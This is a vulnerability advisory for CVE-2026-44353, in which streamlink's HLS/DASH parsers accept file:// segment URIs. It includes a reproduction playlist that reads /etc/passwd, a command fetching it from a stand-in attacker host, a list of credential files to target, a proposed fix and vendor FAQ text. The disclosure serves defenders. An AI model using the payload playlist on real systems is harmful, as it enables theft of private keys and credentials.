CVE-2026-44353

Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote .m3u8 HLS playlist or .mpd DASH manifest can list file:///path/to/file as a segment, and streamlink will read that local file and write its contents to the output stream.

Confirmed on streamlink 8.3.0 (latest release at time of report).

Description

Segment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts file:// URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment.

The attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim's machine, is enough to trigger the read.

Affected scenarios

• Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations.
• Interactive desktop use. File contents land on the victim's disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc.

This bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward.

Steps to reproduce

Tested on streamlink 8.3.0, Linux (Kali).

1. Save as playlist.m3u8:

   #EXTM3U
   #EXT-X-VERSION:3
   #EXT-X-TARGETDURATION:5
   #EXT-X-PLAYLIST-TYPE:VOD
   #EXTINF:5.0,
   file:///etc/passwd
   #EXT-X-ENDLIST
   

2. Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work.

3. On the victim machine:

   streamlink "hls://https://attacker-host.example/playlist.m3u8" best -o /tmp/proof.ts
   

4. Inspect the output:

   cat /tmp/proof.ts
   

5. The output contains the contents of /etc/passwd from the machine running streamlink.

Local reproduction (equivalent, simpler to set up):

python3 -m http.server 8080    # in directory containing playlist.m3u8
streamlink "hls://http://127.0.0.1:8080/playlist.m3u8" best -o /tmp/proof.ts
cat /tmp/proof.ts

The remote case was confirmed independently using a tunnel.

Proposed remediation

Allowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher.

The check needs to cover:

• Segment URIs in the top-level manifest.
• Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist).
• Other URI fields the fetcher consumes, #EXT-X-KEY and #EXT-X-MAP URIs at minimum. Worth auditing the rest for the same issue.

The check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don't each need to re-implement it, and any future fetcher path inherits the protection by default.

A remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process's read scope and write them into the output file.

Reachable files depend on the user running streamlink. Typical targets: ~/.ssh/id_* private keys, ~/.aws/credentials, shell history, application config files holding API tokens, and world-readable system files like /etc/passwd.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44353 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44353? CVE-2026-44353 is a medium-severity path traversal vulnerability in streamlink (pip), affecting versions <= 8.3.0. It is fixed in 8.4.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-44353? CVE-2026-44353 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of streamlink are affected by CVE-2026-44353? streamlink (pip) versions <= 8.3.0 is affected.
4. Is there a fix for CVE-2026-44353? Yes. CVE-2026-44353 is fixed in 8.4.0. Upgrade to this version or later.
5. Is CVE-2026-44353 exploitable, and should I be worried? Whether CVE-2026-44353 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44353 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44353? Upgrade streamlink to 8.4.0 or later.